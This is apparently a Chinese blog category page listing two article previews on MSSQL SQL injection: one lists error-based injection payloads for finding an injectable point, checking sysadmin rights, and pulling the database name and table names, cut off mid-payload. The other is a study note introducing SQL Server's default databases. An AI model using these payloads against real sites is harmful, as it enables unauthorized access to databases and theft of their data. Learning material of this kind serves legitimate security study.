MSSQL注入
文章平均质量分 53
春日野穹ㅤ
基于自身意志的行动才有价值
展开
-
MSSQL注入流程,简洁
MSSQL注入日常使用的payload,遇到MSSQL注入,这些够用了,完整的在这里传送门拿数据的##判断注入点and user>0 --having 1=1-- ##判断权限,如果页面回显正常则为正确,否则报错and 1=(select IS_SRVROLEMEMBER('sysadmin')) --##获取当前数据库And 1=(select db_name()) --##获取当前数据库内的所有数据表and 1=convert(int,(select quotename原创 2021-02-28 16:00:46 · 773 阅读 · 0 评论 -
MSSQL注入笔记
最近在学习MSSQL注入,以前注入的知识全都忘记了,甚至连MSSQL语句都不认识了,非常尴尬,趁着周末有时间,便重新复习了一下,并写个笔记。写的比较乱,有时间再重新整理一下2021.2.28 15.48.55MSSQL基础知识SQL Server默认库的介绍初始库有4个mastermaster 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并在所有其他数据库信息。 modelmodel 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据原创 2021-02-28 15:57:00 · 1095 阅读 · 0 评论